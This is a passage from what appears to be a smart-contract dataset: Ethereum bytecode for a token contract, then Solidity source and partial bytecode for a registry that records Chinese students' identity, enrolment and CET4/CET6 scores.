0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101ce578063095ea7b31461025c57806318160ddd146102b657806323b872dd146102df5780632ff2e9dc14610358578063313ce567146103815780635f56b6fe146103b057806366188463146103d357806370a082311461042d578063715018a61461047a5780638da5cb5b1461048f57806395d89b41146104e45780639858cf1914610572578063a9059cbb1461059b578063c1d9e273146105f5578063d73dd6231461061e578063d9f2ac8a14610678578063dd62ed3e146106a1578063f2fde38b1461070d575b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156101cc576001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506101bf3033600454610746565b6000600454036004819055505b005b34156101d957600080fd5b6101e16109af565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610221578082015181840152602081019050610206565b50505050905090810190601f16801561024e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561026757600080fd5b61029c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109e8565b604051808215151515815260200191505060405180910390f35b34156102c157600080fd5b6102c9610ada565b6040518082815260200191505060405180910390f35b34156102ea57600080fd5b61033e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ae4565b604051808215151515815260200191505060405180910390f35b341561036357600080fd5b61036b610e9e565b6040518082815260200191505060405180910390f35b341561038c57600080fd5b610394610eaf565b604051808260ff1660ff16815260200191505060405180910390f35b34156103bb57600080fd5b6103d16004808035906020019091905050610eb4565b005b34156103de57600080fd5b610413600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ffd565b604051808215151515815260200191505060405180910390f35b341561043857600080fd5b610464600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061128e565b6040518082815260200191505060405180910390f35b341561048557600080fd5b61048d6112d6565b005b341561049a57600080fd5b6104a26113db565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104ef57600080fd5b6104f7611401565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053757808201518184015260208101905061051c565b50505050905090810190601f1680156105645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561057d57600080fd5b61058561143a565b6040518082815260200191505060405180910390f35b34156105a657600080fd5b6105db600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061144b565b604051808215151515815260200191505060405180910390f35b341561060057600080fd5b61060861166a565b6040518082815260200191505060405180910390f35b341561062957600080fd5b61065e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611670565b604051808215151515815260200191505060405180910390f35b341561068357600080fd5b61068b61186c565b6040518082815260200191505060405180910390f35b34156106ac57600080fd5b6106f7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611871565b6040518082815260200191505060405180910390f35b341561071857600080fd5b610744600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118f8565b005b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561079357600080fd5b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561081f57600080fd5b610870816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610903816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6040805190810160405280601c81526020017f46697273742054726164696e672045636f73797374656d20436f696e0000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b2157600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b6e57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610bf957600080fd5b610c4a826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cdd826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dae82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460ff16600a0a633b8260000281565b600481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1057600080fd5b6000811415610f9757600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610f9257600080fd5b610ffa565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610ff957600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561110e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111a2565b6111218382611a5090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133257600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f464954535400000000000000000000000000000000000000000000000000000081525081565b600460ff16600a0a631dcd65000281565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561148857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156114d557600080fd5b611526826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115b9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60045481565b600061170182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561195457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561199057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611a5e57fe5b818303905092915050565b60008183019050828110151515611a7c57fe5b809050929150505600a165627a7a72305820080d1705bcec78809d7f443e4514a069db35444cb21bb4bbc52193b3415de2da0029
|
{"success": true, "error": null, "results": {}}
| 3,911 |
0x04a5122698adf47ae0cdd0a10274742797684d44
|
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title SafeMath32
* @dev SafeMath library implemented for uint32
*/
library SafeMath32 {
function mul(uint32 a, uint32 b) internal pure returns (uint32) {
if (a == 0) {
return 0;
}
uint32 c = a * b;
assert(c / a == b);
return c;
}
function div(uint32 a, uint32 b) internal pure returns (uint32) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint32 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint32 a, uint32 b) internal pure returns (uint32) {
assert(b <= a);
return a - b;
}
function add(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title SafeMath16
* @dev SafeMath library implemented for uint16
*/
library SafeMath16 {
function mul(uint16 a, uint16 b) internal pure returns (uint16) {
if (a == 0) {
return 0;
}
uint16 c = a * b;
assert(c / a == b);
return c;
}
function div(uint16 a, uint16 b) internal pure returns (uint16) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint16 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint16 a, uint16 b) internal pure returns (uint16) {
assert(b <= a);
return a - b;
}
function add(uint16 a, uint16 b) internal pure returns (uint16) {
uint16 c = a + b;
assert(c >= a);
return c;
}
}
contract StudentFactory is Ownable{
struct Student{
string name;// 姓名
string nation;// 民族
string id;// 证件号
uint32 birth;// 生日
bytes1 gender;// 性别
}
struct Undergraduate{
string studentId; // 学籍号
string school;// 学校
string major;// 专业
uint8 length;// 学制
uint8 eduType;// 学历类别
uint8 eduForm;// 学习形式
uint8 class;// 班级
uint8 level;// 层次(专/本/硕/博)
uint8 state;// 学籍状态
uint32 admissionDate;// 入学日期
uint32 departureDate;// 离校日期
}
struct Master{
string studentId; // 学籍号
string school;// 学校
string major;// 专业
uint8 length;// 学制
uint8 eduType;// 学历类别
uint8 eduForm;// 学习形式
uint8 class;// 班级
uint8 level;// 层次(专/本/硕/博)
uint8 state;// 学籍状态
uint32 admissionDate;// 入学日期
uint32 departureDate;// 离校日期
}
struct Doctor{
string studentId; // 学籍号
string school;// 学校
string major;// 专业
uint8 length;// 学制
uint8 eduType;// 学历类别
uint8 eduForm;// 学习形式
uint8 class;// 班级
uint8 level;// 层次(专/本/硕/博)
uint8 state;// 学籍状态
uint32 admissionDate;// 入学日期
uint32 departureDate;// 离校日期
}
struct CET4{
uint32 time; //时间,如2017年12月
uint32 grade;// 分数
}
struct CET6{
uint32 time; //时间,如2017年12月
uint32 grade;// 分数
}
Student[] students;// 学生列表
CET4[] CET4List; // 四级成绩列表
CET6[] CET6List; // 六级成绩列表
mapping (address=>Student) public addrToStudent;// 地址到学生的映射
mapping (uint=>address) internal CET4IndexToAddr; // 四级成绩序号到地址的映射
mapping (uint=>address) internal CET6IndexToAddr; // 六级成绩序号到地址的映射
mapping (address=>uint) public addrCET4Count; //地址到四级成绩数量映射
mapping (address=>uint) public addrCET6Count; //地址到六级成绩数量映射
mapping (address=>Undergraduate) public addrToUndergaduate;// 地址到本科学籍的映射
mapping (address=>Master) public addrToMaster;// 地址到硕士学籍的映射
mapping (address=>Doctor) public addrToDoctor;// 地址到博士学籍的映射
// 定义判断身份证是否被使用的modifier
modifier availableIdOf(string _id) {
require(_isIdExisted(_id));
_;
}
// 判断证件号码是否已注册
function _isIdExisted(string _id) private view returns(bool){
for(uint i = 0;i<students.length;i++){
if(keccak256(students[i].id)==keccak256(_id)){
return false;
}
}
return true;
}
// 创建学生
function createStudent(string _name,string _nation,string _id,uint32 _birth,bytes1 _gender) public availableIdOf(_id){
Student memory student = Student(_name,_nation,_id,_birth,_gender);
addrToStudent[msg.sender] = student;
students.push(student);
}
}
contract StudentHelper is StudentFactory{
using SafeMath for uint;
// 给某个地址的人添加本科学籍信息
function addUndergraduateTo(address _addr,string _studentId,string _school,string _major,uint8 _length,uint8 _eduType,uint8 _eduForm,uint8 _class,uint8 _level,uint8 _state,uint32 _admissionDate,uint32 _departureDate)
public onlyOwner{
addrToUndergaduate[_addr] = Undergraduate(_studentId,_school,_major,_length,_eduType,_eduForm,_class,_level,_state,_admissionDate,_departureDate);
}
// 给某个地址的人添加硕士学籍信息
function addMasterTo(address _addr,string _studentId,string _school,string _major,uint8 _length,uint8 _eduType,uint8 _eduForm,uint8 _class,uint8 _level,uint8 _state,uint32 _admissionDate,uint32 _departureDate)
public onlyOwner{
addrToMaster[_addr] = Master(_studentId,_school,_major,_length,_eduType,_eduForm,_class,_level,_state,_admissionDate,_departureDate);
}
// 给某个地址的人添加博士学籍信息
function addDoctorTo(address _addr,string _studentId,string _school,string _major,uint8 _length,uint8 _eduType,uint8 _eduForm,uint8 _class,uint8 _level,uint8 _state,uint32 _admissionDate,uint32 _departureDate)
public onlyOwner{
addrToDoctor[_addr] = Doctor(_studentId,_school,_major,_length,_eduType,_eduForm,_class,_level,_state,_admissionDate,_departureDate);
}
// 给某个地址添加四级成绩记录
function addCET4To(address _addr,uint32 _time,uint32 _grade) public onlyOwner{
uint index = CET4List.push(CET4(_time,_grade))-1;
CET4IndexToAddr[index] = _addr;
addrCET4Count[_addr]++;
}
// 给某个地址添加六级成绩记录
function addCET6To(address _addr,uint32 _time,uint32 _grade) public onlyOwner{
uint index = CET6List.push(CET6(_time,_grade))-1;
CET6IndexToAddr[index] = _addr;
addrCET6Count[_addr]++;
}
// 获得某个地址的四级成绩
function getCET4ByAddr(address _addr) view public returns (uint32[],uint32[]) {
uint32[] memory timeList = new uint32[](addrCET4Count[_addr]);
uint32[] memory gradeList = new uint32[](addrCET4Count[_addr]);
uint counter = 0;
for (uint i = 0; i < CET4List.length; i++) {
if(CET4IndexToAddr[i]==_addr){
timeList[counter] = CET4List[i].time;
gradeList[counter] = CET4List[i].grade;
counter++;
}
}
return(timeList,gradeList);
}
// 获得某个地址的六级成绩
function getCET6ByAddr(address _addr) view public returns (uint32[],uint32[]) {
uint32[] memory timeList = new uint32[](addrCET6Count[_addr]);
uint32[] memory gradeList = new uint32[](addrCET6Count[_addr]);
uint counter = 0;
for (uint i = 0; i < CET6List.length; i++) {
if(CET6IndexToAddr[i]==_addr){
timeList[counter] = CET6List[i].time;
gradeList[counter] = CET6List[i].grade;
counter++;
}
}
return(timeList,gradeList);
}
}
|
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630c549dd9146100eb578063261eafc8146101cb5780632c0fb4dd1461034e57806334ca8d21146103a557806337c5ba79146105ad5780636702416e1461079f5780638da5cb5b14610922578063a051a24e14610979578063cf4a543c14610b81578063d818750a14610bd8578063e22ed99514610de0578063e4538c6c14610f11578063ebae743b14611094578063f2b3ddfa146110f7578063f2fde38b146111d7578063f80fb7ae1461121a575b600080fd5b3480156100f757600080fd5b5061012c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061127d565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015610173578082015181840152602081019050610158565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156101b557808201518184015260208101905061019a565b5050505090500194505050505060405180910390f35b3480156101d757600080fd5b5061034c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803560ff169060200190929190803560ff169060200190929190803560ff169060200190929190803560ff169060200190929190803560ff169060200190929190803560ff169060200190929190803563ffffffff169060200190929190803563ffffffff1690602001909291905050506114b8565b005b34801561035a57600080fd5b5061038f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061173c565b6040518082815260200191505060405180910390f35b3480156103b157600080fd5b506103e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611754565b604051808060200180602001806020018c60ff1660ff1681526020018b60ff1660ff1681526020018a60ff1660ff1681526020018960ff1660ff1681526020018860ff1660ff1681526020018760ff1660ff1681526020018663ffffffff1663ffffffff1681526020018563ffffffff1663ffffffff16815260200184810384528f818151815260200191508051906020019080838360005b8381101561049a57808201518184015260208101905061047f565b50505050905090810190601f1680156104c75780820380516001836020036101000a031916815260200191505b5084810383528e818151815260200191508051906020019080838360005b838110156105005780820151818401526020810190506104e5565b50505050905090810190601f16801561052d5780820380516001836020036101000a031916815260200191505b5084810382528d818151815260200191508051906020019080838360005b8381101561056657808201518184015260208101905061054b565b50505050905090810190601f1680156105935780820380516001836020036101000a031916815260200191505b509e50505050505050505050505050505060405180910390f35b3480156105b957600080fd5b506105ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119e4565b604051808060200180602001806020018663ffffffff1663ffffffff168152602001857effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001848103845289818151815260200191508051906020019080838360005b83811015610692578082015181840152602081019050610677565b50505050905090810190601f1680156106bf5780820380516001836020036101000a031916815260200191505b50848103835288818151815260200191508051906020019080838360005b838110156106f85780820151818401526020810190506106dd565b50505050905090810190601f1680156107255780820380516001836020036101000a031916815260200191505b50848103825287818151815260200191508051906020019080838360005b8381101561075e578082015181840152602081019050610743565b50505050905090810190601f16801561078b5780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390f35b3480156107ab57600080fd5b50610920600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803560ff169060200190929190803560ff169060200190929190803560ff169060200190929190803560ff169060200190929190803560ff169060200190929190803560ff169060200190929190803563ffffffff169060200190929190803563ffffffff169060200190929190505050611c1e565b005b34801561092e57600080fd5b50610937611ea2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561098557600080fd5b506109ba600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ec7565b604051808060200180602001806020018c60ff1660ff1681526020018b60ff1660ff1681526020018a60ff1660ff1681526020018960ff1660ff1681526020018860ff1660ff1681526020018760ff1660ff1681526020018663ffffffff1663ffffffff1681526020018563ffffffff1663ffffffff16815260200184810384528f818151815260200191508051906020019080838360005b83811015610a6e578082015181840152602081019050610a53565b50505050905090810190601f168015610a9b5780820380516001836020036101000a031916815260200191505b5084810383528e818151815260200191508051906020019080838360005b83811015610ad4578082015181840152602081019050610ab9565b50505050905090810190601f168015610b015780820380516001836020036101000a031916815260200191505b5084810382528d818151815260200191508051906020019080838360005b83811015610b3a578082015181840152602081019050610b1f565b50505050905090810190601f168015610b675780820380516001836020036101000a031916815260200191505b509e50505050505050505050505050505060405180910390f35b348015610b8d57600080fd5b50610bc2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612157565b6040518082815260200191505060405180910390f35b348015610be457600080fd5b50610c19600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061216f565b604051808060200180602001806020018c60ff1660ff1681526020018b60ff1660ff1681526020018a60ff1660ff1681526020018960ff1660ff1681526020018860ff1660ff1681526020018760ff1660ff1681526020018663ffffffff1663ffffffff1681526020018563ffffffff1663ffffffff16815260200184810384528f818151815260200191508051906020019080838360005b83811015610ccd578082015181840152602081019050610cb2565b50505050905090810190601f168015610cfa5780820380516001836020036101000a031916815260200191505b5084810383528e818151815260200191508051906020019080838360005b83811015610d33578082015181840152602081019050610d18565b50505050905090810190601f168015610d605780820380516001836020036101000a031916815260200191505b5084810382528d818151815260200191508051906020019080838360005b83811015610d99578082015181840152602081019050610d7e565b50505050905090810190601f168015610dc65780820380516001836020036101000a031916815260200191505b509e50505050505050505050505050505060405180910390f35b348015610dec57600080fd5b50610f0f600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803563ffffffff16906020019092919080357effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291905050506123ff565b005b348015610f1d57600080fd5b50611092600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803560ff169060200190929190803560ff169060200190929190803560ff169060200190929190803560ff169060200190929190803560ff169060200190929190803560ff169060200190929190803563ffffffff169060200190929190803563ffffffff169060200190929190505050612669565b005b3480156110a057600080fd5b506110f5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803563ffffffff169060200190929190803563ffffffff1690602001909291905050506128ed565b005b34801561110357600080fd5b50611138600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a90565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561117f578082015181840152602081019050611164565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156111c15780820151818401526020810190506111a6565b5050505090500194505050505060405180910390f35b3480156111e357600080fd5b50611218600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ccb565b005b34801561122657600080fd5b5061127b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803563ffffffff169060200190929190803563ffffffff169060200190929190505050612e20565b005b606080606080600080600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040519080825280602002602001820160405280156112f45781602001602082028038833980820191505090505b509350600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040519080825280602002602001820160405280156113655781602001602082028038833980820191505090505b50925060009150600090505b6003805490508110156114a9578673ffffffffffffffffffffffffffffffffffffffff166006600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561149c576003818154811015156113f457fe5b9060005260206000200160000160009054906101000a900463ffffffff16848381518110151561142057fe5b9060200190602002019063ffffffff16908163ffffffff168152505060038181548110151561144b57fe5b9060005260206000200160000160049054906101000a900463ffffffff16838381518110151561147757fe5b9060200190602002019063ffffffff16908163ffffffff168152505081806001019250505b8080600101915050611371565b83839550955050505050915091565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561151357600080fd5b610160604051908101604052808c81526020018b81526020018a81526020018960ff1681526020018860ff1681526020018760ff1681526020018660ff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018263ffffffff16815250600a60008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000190805190602001906115d99291906130f2565b5060208201518160010190805190602001906115f69291906130f2565b5060408201518160020190805190602001906116139291906130f2565b5060608201518160030160006101000a81548160ff021916908360ff16021790555060808201518160